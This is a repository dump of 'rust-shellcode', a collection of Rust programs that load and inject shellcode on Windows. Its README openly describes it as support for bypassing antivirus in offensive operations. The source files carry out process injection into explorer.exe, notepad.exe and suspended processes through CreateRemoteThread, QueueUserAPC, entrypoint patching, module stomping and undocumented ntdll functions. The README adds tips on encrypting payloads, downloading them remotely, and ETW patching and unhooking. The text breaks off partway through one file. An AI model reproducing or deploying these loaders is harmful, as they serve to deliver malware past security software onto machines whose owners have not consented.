Repository: b1nhack/rust-shellcode Branch: main Commit: ed16db05496b Files: 31 Total size: 45.0 KB Directory structure: gitextract_2znh2gh1/ ├── .gitignore ├── Cargo.toml ├── LICENSE ├── README.md ├── asm/ │ ├── Cargo.toml │ └── src/ │ └── main.rs ├── create_fiber/ │ ├── Cargo.toml │ └── src/ │ └── main.rs ├── create_process/ │ ├── Cargo.toml │ └── src/ │ └── main.rs ├── create_remote_thread/ │ ├── Cargo.toml │ └── src/ │ └── main.rs ├── create_remote_thread_native/ │ ├── Cargo.toml │ └── src/ │ └── main.rs ├── create_thread/ │ ├── Cargo.toml │ └── src/ │ └── main.rs ├── create_thread_native/ │ ├── Cargo.toml │ └── src/ │ └── main.rs ├── early_bird/ │ ├── Cargo.toml │ └── src/ │ └── main.rs ├── etwp_create_etw_thread/ │ ├── Cargo.toml │ └── src/ │ └── main.rs ├── memmap2_transmute/ │ ├── Cargo.toml │ └── src/ │ └── main.rs ├── module_stomping/ │ ├── Cargo.toml │ └── src/ │ └── main.rs ├── nt_queue_apc_thread_ex_local/ │ ├── Cargo.toml │ └── src/ │ └── main.rs ├── rtl_create_user_thread/ │ ├── Cargo.toml │ └── src/ │ └── main.rs └── rustfmt.toml ================================================ FILE CONTENTS ================================================ ================================================ FILE: .gitignore ================================================ # Generated by Cargo # will have compiled files and executables target/ # These are backup files generated by rustfmt **/*.rs.bk .idea/ ================================================ FILE: Cargo.toml ================================================ [workspace] resolver = "2" members = [ "asm", "create_fiber", "create_process", "create_remote_thread", "create_remote_thread_native", "create_thread", "create_thread_native", "early_bird", "etwp_create_etw_thread", "memmap2_transmute", "module_stomping", "nt_queue_apc_thread_ex_local", "rtl_create_user_thread", ] ================================================ FILE: LICENSE ================================================ MIT License Copyright (c) 2023 b1n Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. ================================================ FILE: README.md ================================================ # 🤖 rust-shellcode 🤖 This project provides the underlying support for bypass av of offensive activities. The available Shellcode loaders include: * [asm](#asm) * [create_fiber](#create_fiber) * [create_process](#create_process) * [create_remote_thread](#create_remote_thread) * [create_remote_thread_native](#create_remote_thread_native) * [create_thread](#create_thread) * [create_thread_native](#create_thread_native) * [early_bird](#early_bird) * [etwp_create_etw_thread](#etwp_create_etw_thread) * [memmap2_transmute](#memmap2_transmute) * [module_stomping](#module_stomping) * [nt_queue_apc_thread_ex_local](#nt_queue_apc_thread_ex_local) * [rtl_create_user_thread](#rtl_create_user_thread) ## Build This is a rust project, you need install [rust](https://www.rust-lang.org/) first. Then, you can build with follow command: ```shell cargo build --release ``` Binarys in `target/release` ## How to use This project is just a basic demo, you need to choose the right loading method, encrypt the SHELLCODE, download the SHELLCODE from the internet, or use it with ETW patch, unhooking, etc. ## asm SHELLCODE execute locally. 1. link SHELLCODE to .text section 2. inline asm using asm! macro 3. call SHELLCODE ## create_fiber SHELLCODE execute locally. 1. convert current thread to fiber using `ConvertThreadToFiber` 2. alloc memory using `VirtualAlloc` 3. copy SHELLCODE to allocated memory using `std::ptr::copy` 4. create a fiber using `CreateFiber` 5. jump SHELLCODE using `SwitchToFiber` 6. jump back ## create_process SHELLCODE execute locally. 1. create a process in `CREATE_SUSPENDED` state using `CreateProcessA` 2. alloc remote memory using `VirtualAllocEx` 3. copy SHELLCODE to allocated memory using `WriteProcessMemory` 4. change memory permission to executable using `VirtualProtectEx` 5. get `PROCESS_BASIC_INFORMATION` using `NtQueryInformationProcess` 6. get `PEB` using `ReadProcessMemory` 7. get `IMAGE_DOS_HEADER` using `ReadProcessMemory` 8. get `IMAGE_FILE_HEADER` using `ReadProcessMemory` 9. determine `IMAGE_FILE_HEADER.Machine` is x86 or x64 10. get `[IMAGE_OPTIONAL_HEADER32|IMAGE_OPTIONAL_HEADER64]` using `ReadProcessMemory` 11. let `entrypoint` = `ImageBaseAddress` + `[IMAGE_OPTIONAL_HEADER32|IMAGE_OPTIONAL_HEADER64].AddressOfEntryPoint` 12. write a piece of assembly code to the `entrypoint` to jump to the SHELLCODE using `WriteProcessMemory` 13. resume process's thread using `ResumeThread` 14. close opened handle using `CloseHandle` ## create_remote_thread SHELLCODE execute remotely. inject `explorer.exe` by default. 1. get pid by process name using crate `sysinfo` 2. get handle using `OpenProcess` 3. alloc remote memory using `VirtualAllocEx` 4. copy SHELLCODE to allocated memory using `WriteProcessMemory` 5. change memory permission to executable using `VirtualProtectEx` 6. execute SHELLCODE using `CreateRemoteThread` 7. close opened handle using `CloseHandle` ## create_remote_thread_native SHELLCODE execute remotely. inject `explorer.exe` by default. this is same with [create_remote_thread](#create_remote_thread), but without crate `windows-sys` using crate `libloading` get functions from dlls. ## create_thread SHELLCODE execute locally. 1. alloc remote memory using `VirtualAlloc` 2. copy SHELLCODE to allocated memory using `std::ptr::copy` 3. change memory permission to executable using `VirtualProtect` 4. execute SHELLCODE using `CreateThread` 5. waiting thread exit using `WaitForSingleObject` ## create_thread_native SHELLCODE execute locally. this is same with [create_thread](#create_thread), but without crate `windows-sys` using crate `libloading` get functions from dlls. ## early_bird SHELLCODE execute remotely. create and inject `svchost.exe` by default. 1. create a process using `CreateProcessA` 2. alloc remote memory using `VirtualAllocEx` 3. copy SHELLCODE to allocated memory using `WriteProcessMemory` 4. change memory permission to executable using `VirtualProtectEx` 5. execute process using `QueueUserAPC` 6. resume process's thread using `ResumeThread` 7. close opened handle using `CloseHandle` ## etwp_create_etw_thread SHELLCODE execute locally. 1. get `EtwpCreateEtwThread` funtion from `ntdll` using `LoadLibraryA` and `GetProcAddress` 2. alloc remote memory using `VirtualAlloc` 3. copy SHELLCODE to allocated memory using `std::ptr::copy` 4. change memory permission to executable using `VirtualProtect` 5. execute SHELLCODE using `EtwpCreateEtwThread` 6. waiting thread exit using `WaitForSingleObject` ## memmap2_transmute SHELLCODE execute locally. 1. alloc memory using crate `memmap2` 2. copy SHELLCODE using `copy_from_slice` function from `MmapMut` struct 3. change memory permission to executable using `make_exec` funtion from `MmapMut` struct 4. convert memory pointer to fn type using `transmute` 5. execute fn ## module_stomping SHELLCODE execute remotely. inject `notepad.exe` by default. 1. get pid by process name using crate `sysinfo` 2. get handle using `OpenProcess` 3. alloc remote memory using `VirtualAllocEx` 4. copy dll path to allocated memory using `WriteProcessMemory` 5. get `LoadLibraryA` addr using `GetProcAddress` with `GetModuleHandleA` 6. load dll using `CreateRemoteThread` 7. wait created remote thread using `WaitForSingleObject` 8. get modules using `EnumProcessModules` 9. get module name using `GetModuleBaseNameA` 10. alloc memory using `HeapAlloc` 11. get entry_point using `ReadProcessMemory` 12. copy SHELLCODE to dll entry_point using `WriteProcessMemory` 13. execute SHELLCODE using `CreateRemoteThread` 14. close opened handle using `CloseHandle` ## nt_queue_apc_thread_ex_local SHELLCODE execute locally. 1. get `NtQueueApcThreadEx` function from `ntdll` using `LoadLibraryA` and `GetProcAddress` 2. alloc remote memory using `VirtualAlloc` 3. copy SHELLCODE to allocated memory using `std::ptr::copy` 4. change memory permission to executable using `VirtualProtect` 5. get current thread handle using `GetCurrentThread` 6. execute SHELLCODE using `NtQueueApcThreadEx` ## rtl_create_user_thread SHELLCODE execute remotely. inject `explorer.exe` by default. 1. get `RtlCreateUserThread` funtion from `ntdll` using `LoadLibraryA` and `GetProcAddress` 2. get pid by process name using crate `sysinfo` 3. get handle using `OpenProcess` 4. alloc remote memory using `VirtualAllocEx` 5. copy SHELLCODE to allocated memory using `WriteProcessMemory` 6. change memory permission to executable using `VirtualProtectEx` 7. execute SHELLCODE using `RtlCreateUserThread` 8. close opened handle using `CloseHandle` ================================================ FILE: asm/Cargo.toml ================================================ [package] name = "asm" version = "0.1.0" edition = "2021" # See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html [dependencies] ================================================ FILE: asm/src/main.rs ================================================ use std::arch::asm; #[cfg(target_os = "windows")] fn main() { #[link_section = ".text"] static SHELLCODE: [u8; 98] = *include_bytes!("../../w64-exec-calc-shellcode-func.bin"); unsafe { asm!( "call {}", in(reg) SHELLCODE.as_ptr(), ) } } ================================================ FILE: create_fiber/Cargo.toml ================================================ [package] name = "create_fiber" version = "0.1.0" edition = "2021" # See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html [dependencies] windows-sys = { version = "0.48.0", features = ["Win32_System_Threading", "Win32_System_Memory", "Win32_Foundation"] } ================================================ FILE: create_fiber/src/main.rs ================================================ use std::mem::transmute; use std::ptr::{copy, null}; use windows_sys::Win32::Foundation::{GetLastError, FALSE}; use windows_sys::Win32::System::Memory::{ VirtualAlloc, VirtualProtect, MEM_COMMIT, MEM_RESERVE, PAGE_EXECUTE, PAGE_READWRITE, }; use windows_sys::Win32::System::Threading::{ConvertThreadToFiber, CreateFiber, SwitchToFiber}; #[cfg(target_os = "windows")] fn main() { let shellcode = include_bytes!("../../w64-exec-calc-shellcode-func.bin"); let shellcode_size = shellcode.len(); unsafe { let main_fiber = ConvertThreadToFiber(null()); if main_fiber.is_null() { panic!("[-]ConvertThreadToFiber failed: {}!", GetLastError()); } let addr = VirtualAlloc( null(), shellcode_size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE, ); if addr.is_null() { panic!("[-]VirtualAlloc failed: {}!", GetLastError()); } let mut old = PAGE_READWRITE; copy(shellcode.as_ptr(), addr.cast(), shellcode_size); let res = VirtualProtect(addr, shellcode_size, PAGE_EXECUTE, &mut old); if res == FALSE { panic!("[-]VirtualProtect failed: {}!", GetLastError()); } let func = transmute(addr); let fiber = CreateFiber(0, func, null()); if fiber.is_null() { panic!("[-]CreateFiber failed: {}!", GetLastError()); } SwitchToFiber(fiber); SwitchToFiber(main_fiber); } } ================================================ FILE: create_process/Cargo.toml ================================================ [package] name = "create_process" version = "0.1.0" edition = "2021" # See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html [dependencies] windows-sys = { version = "0.48.0", features = ["Win32_System_Threading", "Win32_Foundation", "Win32_Security", "Win32_System_Diagnostics_Debug", "Win32_System_Memory", "Win32_System_Kernel", "Win32_System_SystemServices", "Win32_System_SystemInformation"] } ================================================ FILE: create_process/src/main.rs ================================================ use std::ffi::{c_char, c_void}; use std::mem::{size_of_val, zeroed}; use std::ptr::{addr_of, addr_of_mut, null, null_mut}; use windows_sys::Win32::Foundation::{CloseHandle, GetLastError, FALSE, STATUS_SUCCESS, TRUE}; use windows_sys::Win32::System::Diagnostics::Debug::{ ReadProcessMemory, WriteProcessMemory, IMAGE_FILE_HEADER, IMAGE_OPTIONAL_HEADER32, IMAGE_OPTIONAL_HEADER64, }; use windows_sys::Win32::System::Memory::{ VirtualAllocEx, VirtualProtectEx, MEM_COMMIT, MEM_RESERVE, PAGE_EXECUTE_READ, PAGE_READWRITE, }; use windows_sys::Win32::System::SystemServices::IMAGE_DOS_HEADER; use windows_sys::Win32::System::Threading::{ CreateProcessA, NtQueryInformationProcess, ResumeThread, CREATE_SUSPENDED, PROCESS_BASIC_INFORMATION, PROCESS_INFORMATION, STARTF_USESTDHANDLES, STARTUPINFOA, }; const X64: u16 = 0x8664_u16; const X86: u16 = 0x14c_u16; const MZ: u16 = 0x5a4d_u16; const PE: u32 = 0x4550_u32; #[cfg(target_os = "windows")] fn main() { let shellcode = include_bytes!("../../w64-exec-calc-shellcode-func.bin"); let shellcode_size = shellcode.len(); let program = b"C:\\Windows\\System32\\calc.exe\0"; #[repr(C)] struct Peb { reserved: [c_char; 0x10], image_base_address: *mut c_void, } unsafe { let mut process_info: PROCESS_INFORMATION = zeroed(); let mut startup_info: STARTUPINFOA = zeroed(); startup_info.dwFlags = STARTF_USESTDHANDLES | CREATE_SUSPENDED; startup_info.wShowWindow = 1; let res = CreateProcessA( program.as_ptr(), null_mut(), null(), null(), TRUE, CREATE_SUSPENDED, null(), null(), addr_of!(startup_info), addr_of_mut!(process_info), ); if res == FALSE { panic!("[-]CreateProcessA failed: {}!", GetLastError()); } let addr = VirtualAllocEx( process_info.hProcess, null(), shellcode_size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE, ); if addr.is_null() { panic!("[-]VirtualAllocEx failed: {}!", GetLastError()); } let res = WriteProcessMemory( process_info.hProcess, addr, shellcode.as_ptr().cast(), shellcode_size, null_mut(), ); if res == FALSE { panic!("[-]WriteProcessMemory failed: {}!", GetLastError()); } let mut old = PAGE_READWRITE; let res = VirtualProtectEx( process_info.hProcess, addr, shellcode_size, PAGE_EXECUTE_READ, addr_of_mut!(old), ); if res == FALSE { panic!("[-]VirtualProtectEx failed: {}!", GetLastError()); } let mut process_basic_info: PROCESS_BASIC_INFORMATION = zeroed(); let res = NtQueryInformationProcess( process_info.hProcess, 0, addr_of_mut!(process_basic_info).cast(), u32::try_from(size_of_val(&process_basic_info)).expect("[-]u32::try_from failed!"), null_mut(), ); if res != STATUS_SUCCESS { panic!("[-]NtQueryInformationProcess failed: {}!", GetLastError()); } let read_process_memory = |addr: *const c_void, out: *mut c_void, size: usize| { let res = ReadProcessMemory(process_info.hProcess, addr, out, size, null_mut()); if res == FALSE { panic!("[-]ReadProcessMemory failed: {}!", GetLastError()); } }; let mut peb: Peb = zeroed(); read_process_memory( process_basic_info.PebBaseAddress.cast(), addr_of_mut!(peb).cast(), size_of_val(&peb), ); let mut dos_header: IMAGE_DOS_HEADER = zeroed(); read_process_memory( peb.image_base_address, addr_of_mut!(dos_header).cast(), size_of_val(&dos_header), ); if dos_header.e_magic != MZ { panic!("[-]DOS image header magic was not 0x5a4d!"); } let mut signature = 0u32; read_process_memory( ((peb.image_base_address as usize) + (dos_header.e_lfanew as usize)) as *const c_void, addr_of_mut!(signature).cast(), size_of_val(&signature), ); if signature != PE { panic!("[-]PE Signature was not 0x4550"); } let mut pe_header: IMAGE_FILE_HEADER = zeroed(); read_process_memory( ((peb.image_base_address as usize) + (dos_header.e_lfanew as usize) + size_of_val(&signature)) as *const c_void, addr_of_mut!(pe_header).cast(), size_of_val(&pe_header), ); let entrypoint; let mut ep_buffer = vec![]; let read_opt_header = |header: *mut c_void, size: usize| { read_process_memory( ((peb.image_base_address as usize) + (dos_header.e_lfanew as usize) + size_of_val(&signature) + size_of_val(&pe_header)) as *const c_void, header, size, ); }; match pe_header.Machine { X64 => { let mut opt_header: IMAGE_OPTIONAL_HEADER64 = zeroed(); read_opt_header(addr_of_mut!(opt_header).cast(), size_of_val(&opt_header)); entrypoint = ((peb.image_base_address as usize) + usize::try_from(opt_header.AddressOfEntryPoint) .expect("[-]usize::try_from failed!")) as *mut c_void; // rex; mov eax ep_buffer.push(0x48_u8); ep_buffer.push(0xb8_u8); let mut shellcode_addr = (addr as usize).to_le_bytes().to_vec(); ep_buffer.append(&mut shellcode_addr); } X86 => { let mut opt_header: IMAGE_OPTIONAL_HEADER32 = zeroed(); read_opt_header(addr_of_mut!(opt_header).cast(), size_of_val(&opt_header)); entrypoint = ((peb.image_base_address as usize) + usize::try_from(opt_header.AddressOfEntryPoint) .expect("[-]usize::try_from failed!")) as *mut c_void; // mov eax ep_buffer.push(0xb8_u8); let mut shellcode_addr = (addr as usize).to_le_bytes().to_vec(); ep_buffer.append(&mut shellcode_addr); } _ => panic!( "[-]Unknow IMAGE_OPTIONAL_HEADER type for machine type: {:#x}", pe_header.Machine ), } // jmp [r|e]ax ep_buffer.push(0xff_u8); ep_buffer.push(0xe0_u8); let res = WriteProcessMemory( process_info.hProcess, entrypoint, ep_buffer.as_ptr().cast(), ep_buffer.len(), null_mut(), ); if res == FALSE { panic!("[-]WriteProcessMemory failed: {}!", GetLastError()); } let res = ResumeThread(process_info.hThread); if res == 0u32 { panic!("[-]ResumeThread failed: {}!", GetLastError()); } let res = CloseHandle(process_info.hProcess); if res == FALSE { panic!("[-]CloseHandle failed: {}!", GetLastError()); } let res = CloseHandle(process_info.hThread); if res == FALSE { panic!("[-]CloseHandle failed: {}!", GetLastError()); } } } ================================================ FILE: create_remote_thread/Cargo.toml ================================================ [package] name = "create_remote_thread" version = "0.1.0" edition = "2021" # See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html [dependencies] sysinfo = "0.29.0" windows-sys = { version = "0.48.0", features = ["Win32_System_Memory", "Win32_Foundation", "Win32_System_Threading", "Win32_System_Diagnostics_Debug", "Win32_Security"] } ================================================ FILE: create_remote_thread/src/main.rs ================================================ use std::mem::transmute; use std::ptr::{null, null_mut}; use sysinfo::{PidExt, ProcessExt, System, SystemExt}; use windows_sys::Win32::Foundation::{CloseHandle, GetLastError, FALSE}; use windows_sys::Win32::System::Diagnostics::Debug::WriteProcessMemory; use windows_sys::Win32::System::Memory::{ VirtualAllocEx, VirtualProtectEx, MEM_COMMIT, MEM_RESERVE, PAGE_EXECUTE, PAGE_READWRITE, }; use windows_sys::Win32::System::Threading::{CreateRemoteThread, OpenProcess, PROCESS_ALL_ACCESS}; #[cfg(target_os = "windows")] fn main() { let shellcode = include_bytes!("../../w64-exec-calc-shellcode-func.bin"); let shellcode_size = shellcode.len(); let mut system = System::new(); system.refresh_processes(); let pid = system .processes_by_name("explorer.exe") .next() .expect("[-]no process!") .pid() .as_u32(); unsafe { let handle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid); if handle == 0 { panic!("[-]OpenProcess failed: {}!", GetLastError()); } let addr = VirtualAllocEx( handle, null(), shellcode_size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE, ); if addr.is_null() { panic!("[-]VirtualAllocEx failed: {}!", GetLastError()); } let res = WriteProcessMemory( handle, addr, shellcode.as_ptr().cast(), shellcode_size, null_mut(), ); if res == FALSE { panic!("[-]WriteProcessMemory failed: {}!", GetLastError()); } let mut old = PAGE_READWRITE; let res = VirtualProtectEx(handle, addr, shellcode_size, PAGE_EXECUTE, &mut old); if res == FALSE { panic!("[-]VirtualProtectEx failed: {}!", GetLastError()); } let func = transmute(addr); let thread = CreateRemoteThread(handle, null(), 0, func, null(), 0, null_mut()); if thread == 0 { panic!("[-]CreateRemoteThread failed: {}!", GetLastError()); } let res = CloseHandle(handle); if res == FALSE { panic!("[-]CloseHandle failed: {}!", GetLastError()); } } } ================================================ FILE: create_remote_thread_native/Cargo.toml ================================================ [package] name = "create_remote_thread_native" version = "0.1.0" edition = "2021" # See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html [dependencies] libloading = "0.8.0" sysinfo = "0.29.0" ================================================ FILE: create_remote_thread_native/src/main.rs ================================================ use libloading::{Library, Symbol}; use std::ffi::c_void; use std::ptr::{null, null_mut}; use sysinfo::{PidExt, ProcessExt, System, SystemExt}; const PROCESS_ALL_ACCESS: u32 = 0x1fffff; const MEM_COMMIT: u32 = 0x1000; const MEM_RESERVE: u32 = 0x2000; const PAGE_EXECUTE: u32 = 0x10; const PAGE_READWRITE: u32 = 0x04; const FALSE: i32 = 0; #[cfg(target_os = "windows")] fn main() { let shellcode = include_bytes!("../../w64-exec-calc-shellcode-func.bin"); let shellcode_size = shellcode.len(); let mut system = System::new(); system.refresh_processes(); let pid = system .processes_by_name("explorer.exe") .next() .expect("[-]no process!") .pid() .as_u32(); unsafe { let kernel32 = Library::new("kernel32.dll").expect("[-]no kernel32.dll!"); let get_last_error: Symbol u32> = kernel32 .get(b"GetLastError\0") .expect("[-]no GetLastError!"); let open_process: Symbol isize> = kernel32.get(b"OpenProcess\0").expect("[-]no OpenProcess!"); let virtual_alloc_ex: Symbol< unsafe extern "C" fn(isize, *const c_void, usize, u32, u32) -> *mut c_void, > = kernel32 .get(b"VirtualAllocEx\0") .expect("[-]no VirtualAllocEx!"); let write_process_memory: Symbol< unsafe extern "C" fn(isize, *const c_void, *const c_void, usize, *mut usize) -> i32, > = kernel32 .get(b"WriteProcessMemory\0") .expect("[-]no WriteProcessMemory!"); let virtual_protect_ex: Symbol< unsafe extern "C" fn(isize, *const c_void, usize, u32, *mut u32) -> i32, > = kernel32 .get(b"VirtualProtectEx\0") .expect("[-]no VirtualProtectEx!"); let create_remote_thread: Symbol< unsafe extern "C" fn( isize, *const c_void, usize, *const c_void, u32, *mut u32, ) -> isize, > = kernel32 .get(b"CreateRemoteThread\0") .expect("[-]no CreateRemoteThread!"); let close_handle: Symbol i32> = kernel32.get(b"CloseHandle").expect("[-]no CloseHandle!"); let handle = open_process(PROCESS_ALL_ACCESS, 0, pid); if handle == 0 { panic!("[-]OpenProcess failed: {}!", get_last_error()); } let addr = virtual_alloc_ex( handle, null(), shellcode_size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE, ); if addr.is_null() { panic!("[-]virtual_alloc_ex failed: {}!", get_last_error()); } let res = write_process_memory( handle, addr, shellcode.as_ptr().cast(), shellcode_size, null_mut(), ); if res == FALSE { panic!("[-]write_process_memory failed: {}!", get_last_error()); } let mut old = PAGE_READWRITE; let res = virtual_protect_ex(handle, addr, shellcode_size, PAGE_EXECUTE, &mut old); if res == FALSE { panic!("[-]virtual_protect_ex failed: {}!", get_last_error()); } let thread = create_remote_thread(handle, null(), 0, addr, 0, null_mut()); if thread == 0 { panic!("[-]create_remote_thread failed: {}!", get_last_error()); } let res = close_handle(handle); if res == FALSE { panic!("[-]close_handle failed: {}!", get_last_error()); } } } ================================================ FILE: create_thread/Cargo.toml ================================================ [package] name = "create_thread" version = "0.1.0" edition = "2021" # See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html [dependencies] windows-sys = { version = "0.48.0", features = ["Win32_System_Memory", "Win32_Foundation", "Win32_System_Threading", "Win32_Security"] } ================================================ FILE: create_thread/src/main.rs ================================================ use std::mem::transmute; use std::ptr::{copy, null, null_mut}; use windows_sys::Win32::Foundation::{GetLastError, FALSE, WAIT_FAILED}; use windows_sys::Win32::System::Memory::{ VirtualAlloc, VirtualProtect, MEM_COMMIT, MEM_RESERVE, PAGE_EXECUTE, PAGE_READWRITE, }; use windows_sys::Win32::System::Threading::{CreateThread, WaitForSingleObject}; #[cfg(target_os = "windows")] fn main() { let shellcode = include_bytes!("../../w64-exec-calc-shellcode-func.bin"); let shellcode_size = shellcode.len(); unsafe { let addr = VirtualAlloc( null(), shellcode_size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE, ); if addr.is_null() { panic!("[-]VirtualAlloc failed: {}!", GetLastError()); } copy(shellcode.as_ptr(), addr.cast(), shellcode_size); let mut old = PAGE_READWRITE; let res = VirtualProtect(addr, shellcode_size, PAGE_EXECUTE, &mut old); if res == FALSE { panic!("[-]VirtualProtect failed: {}!", GetLastError()); } let addr = transmute(addr); let thread = CreateThread(null(), 0, addr, null(), 0, null_mut()); if thread == 0 { panic!("[-]CreateThread failed: {}!", GetLastError()); } WaitForSingleObject(thread, WAIT_FAILED); } } ================================================ FILE: create_thread_native/Cargo.toml ================================================ [package] name = "create_thread_native" version = "0.1.0" edition = "2021" # See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html [dependencies] libloading = "0.8.0" ================================================ FILE: create_thread_native/src/main.rs ================================================ use libloading::{Library, Symbol}; use std::ffi::c_void; use std::ptr::{null, null_mut}; const MEM_COMMIT: u32 = 0x1000; const MEM_RESERVE: u32 = 0x2000; const PAGE_EXECUTE: u32 = 0x10; const PAGE_READWRITE: u32 = 0x04; const FALSE: i32 = 0; const WAIT_FAILED: u32 = 0xFFFFFFFF; #[cfg(target_os = "windows")] fn main() { let shellcode = include_bytes!("../../w64-exec-calc-shellcode-func.bin"); let shellcode_size = shellcode.len(); unsafe { let kernel32 = Library::new("kernel32.dll").expect("[-]no kernel32.dll!"); let ntdll = Library::new("ntdll.dll").expect("[-]no ntdll.dll!"); let get_last_error: Symbol u32> = kernel32 .get(b"GetLastError\0") .expect("[-]no GetLastError!"); let virtual_alloc: Symbol< unsafe extern "C" fn(*const c_void, usize, u32, u32) -> *mut c_void, > = kernel32 .get(b"VirtualAlloc\0") .expect("[-]no VirtualAlloc!"); let virtual_protect: Symbol< unsafe extern "C" fn(*const c_void, usize, u32, *mut u32) -> i32, > = kernel32 .get(b"VirtualProtect\0") .expect("[-]no VirtualProtect!"); let rtl_copy_memory: Symbol = ntdll.get(b"RtlCopyMemory\0").expect("[-]no RtlCopyMemory!"); let create_thread: Symbol< unsafe extern "C" fn(*const c_void, usize, *const c_void, u32, *mut u32) -> isize, > = kernel32 .get(b"CreateThread\0") .expect("[-]no CreateThread!"); let wait_for_single_object: Symbol u32> = kernel32 .get(b"WaitForSingleObject") .expect("[-]no WaitForSingleObject!"); let addr = virtual_alloc( null(), shellcode_size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE, ); if addr.is_null() { panic!("[-]virtual_alloc failed: {}!", get_last_error()); } rtl_copy_memory(addr, shellcode.as_ptr().cast(), shellcode_size); let mut old = PAGE_READWRITE; let res = virtual_protect(addr, shellcode_size, PAGE_EXECUTE, &mut old); if res == FALSE { panic!("[-]virtual_protect failed: {}!", get_last_error()); } let handle = create_thread(null(), 0, addr, 0, null_mut()); if handle == 0 { panic!("[-]create_thread failed: {}!", get_last_error()); } wait_for_single_object(handle, WAIT_FAILED); } } ================================================ FILE: early_bird/Cargo.toml ================================================ [package] name = "early_bird" version = "0.1.0" edition = "2021" # See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html [dependencies] windows-sys = { version = "0.48.0", features = ["Win32_System_Threading", "Win32_Foundation", "Win32_Security", "Win32_System_Memory", "Win32_System_Diagnostics_Debug"] } ================================================ FILE: early_bird/src/main.rs ================================================ use std::mem::{transmute, zeroed}; use std::ptr::{null, null_mut}; use windows_sys::Win32::Foundation::{CloseHandle, GetLastError, FALSE, TRUE}; use windows_sys::Win32::System::Diagnostics::Debug::WriteProcessMemory; use windows_sys::Win32::System::Memory::{ VirtualAllocEx, VirtualProtectEx, MEM_COMMIT, MEM_RESERVE, PAGE_EXECUTE, PAGE_READWRITE, }; use windows_sys::Win32::System::Threading::{ CreateProcessA, QueueUserAPC, ResumeThread, CREATE_NO_WINDOW, CREATE_SUSPENDED, PROCESS_INFORMATION, STARTF_USESTDHANDLES, STARTUPINFOA, }; #[cfg(target_os = "windows")] fn main() { let shellcode = include_bytes!("../../w64-exec-calc-shellcode-func.bin"); let shellcode_size = shellcode.len(); let program = b"C:\\Windows\\System32\\calc.exe\0"; unsafe { let mut pi: PROCESS_INFORMATION = zeroed(); let mut si: STARTUPINFOA = zeroed(); si.dwFlags = STARTF_USESTDHANDLES | CREATE_SUSPENDED; si.wShowWindow = 0; let res = CreateProcessA( program.as_ptr(), null_mut(), null(), null(), TRUE, CREATE_NO_WINDOW, null(), null(), &si, &mut pi, ); if res == FALSE { panic!("[-]CreateProcessA failed: {}!", GetLastError()); } let addr = VirtualAllocEx( pi.hProcess, null(), shellcode_size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE, ); if addr.is_null() { panic!("[-]VirtualAllocEx failed: {}!", GetLastError()); } let res = WriteProcessMemory( pi.hProcess, addr, shellcode.as_ptr().cast(), shellcode_size, null_mut(), ); if res == FALSE { panic!("[-]WriteProcessMemory failed: {}!", GetLastError()); } let mut old = PAGE_READWRITE; let res = VirtualProtectEx(pi.hProcess, addr, shellcode_size, PAGE_EXECUTE, &mut old); if res == FALSE { panic!("[-]VirtualProtectEx failed: {}!", GetLastError()); } let func = transmute(addr); let res = QueueUserAPC(Some(func), pi.hThread, 0); if res == 0 { panic!("[-]QueueUserAPC failed: {}!", GetLastError()); } let res = ResumeThread(pi.hThread); if res == 0u32 { panic!("[-]ResumeThread failed: {}!", GetLastError()); } let res = CloseHandle(pi.hProcess); if res == FALSE { panic!("[-]CloseHandle failed: {}!", GetLastError()); } let res = CloseHandle(pi.hThread); if res == FALSE { panic!("[-]CloseHandle failed: {}!", GetLastError()); } } } ================================================ FILE: etwp_create_etw_thread/Cargo.toml ================================================ [package] name = "etwp_create_etw_thread" version = "0.1.0" edition = "2021" # See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html [dependencies] windows-sys = { version = "0.48.0", features = ["Win32_System_Memory", "Win32_Foundation", "Win32_System_LibraryLoader", "Win32_System_Threading"] } ================================================ FILE: etwp_create_etw_thread/src/main.rs ================================================ use std::ffi::c_void; use std::mem::transmute; use std::ptr::{copy, null}; use windows_sys::Win32::Foundation::{GetLastError, FALSE, HANDLE, WAIT_FAILED}; use windows_sys::Win32::System::LibraryLoader::{GetProcAddress, LoadLibraryA}; use windows_sys::Win32::System::Memory::{ VirtualAlloc, VirtualProtect, MEM_COMMIT, MEM_RESERVE, PAGE_EXECUTE, PAGE_READWRITE, }; use windows_sys::Win32::System::Threading::WaitForSingleObject; #[cfg(target_os = "windows")] fn main() { let shellcode = include_bytes!("../../w64-exec-calc-shellcode-func.bin"); let shellcode_size = shellcode.len(); unsafe { let ntdll = LoadLibraryA(b"ntdll.dll\0".as_ptr()); if ntdll == 0 { panic!("[-]LoadLibraryA failed: {}!", GetLastError()); } let fn_etwp_create_etw_thread = GetProcAddress(ntdll, 